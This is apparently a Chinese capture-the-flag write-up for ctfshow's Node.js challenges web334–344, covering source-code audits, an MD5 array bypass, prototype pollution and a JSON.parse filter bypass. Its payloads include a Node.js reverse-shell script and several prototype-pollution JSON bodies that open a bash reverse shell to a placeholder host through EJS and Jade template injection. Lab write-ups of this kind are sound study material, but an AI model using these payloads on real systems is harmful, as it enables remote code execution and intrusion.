web334 nodejs
代码审计题。 login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
user.js:
1 2 3 4 5 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
观察函数 findUser
的逻辑可以发现构造 ctfshow/123456
,即可满足条件拿到 flag
。
web335-336 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > CTFFSHOW</title > </head > <body > where is flag? </body > </html >
测试可知 /?eval=
参数可作为 nodejs eval 函数的参数执行,而且还有回显。弹个 shell 先
1 2 3 4 5 6 7 8 9 10 11 12 (function ( ){ var net = require ("net" ), cp = require ("child_process" ), sh = cp.spawn ("/bin/sh" , []); var client = new net.Socket (); client.connect (1211 , "xxxxx" , function ( ){ client.pipe (sh.stdin ); sh.stdout .pipe (client); sh.stderr .pipe (client); }); return /a/ ; })();
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
居然可以数组绕过,感觉和 php 好像。。。 payload: /?a[]=1&b[]=1
web338 给源码喽! common.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
utils.copy(user,req.body);
造成原型链污染,构造 payload:
1 2 3 POST http://c75be572-5063-473e-acbb-7367a33aba94.challenge.ctf.show/login JSON {"username":"aaaa","password":"aaaaa","__proto__":{"ctfshow":"36dboy"}}
web339 api.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); }); module .exports = router;
这里原型链污染覆盖 query 实现命令执行 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function
login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );function User ( ){ this .username ='' ; this .password ='' ; } function normalUser ( ){ this .user } router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ===flag){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html : Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
1 2 3 POST /login JSON {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}
/api 反弹 shell 后 flag 在 login.js
web340 和上题相比只改了被污染 obj:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
user.userinfo 需要多污染一层才能到 Object.prototype
1 { "__proto__" : { "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')" } } }
web341 ejs 原型链污染 rce https://www.anquanke.com/post/id/236354 payload:
1 { "__proto__" : { "__proto__" : { "outputFunctionName" : "__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"'); var __tmp2" } } }
web342-343 jade 原型链污染 rce https://www.anquanke.com/post/id/236354 payload:
1 { "__proto__" : { "__proto__" : { "type" : "Code" , "compileDebug" : true , "self" : true , "line" : "0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"');//" } } }
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse JSON.parse 会将参数转为 string,["str1", "str2"].toString() === "str1,str2"
于是可以绕过 ,
(2c)。 payload: /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs 部分到此结束。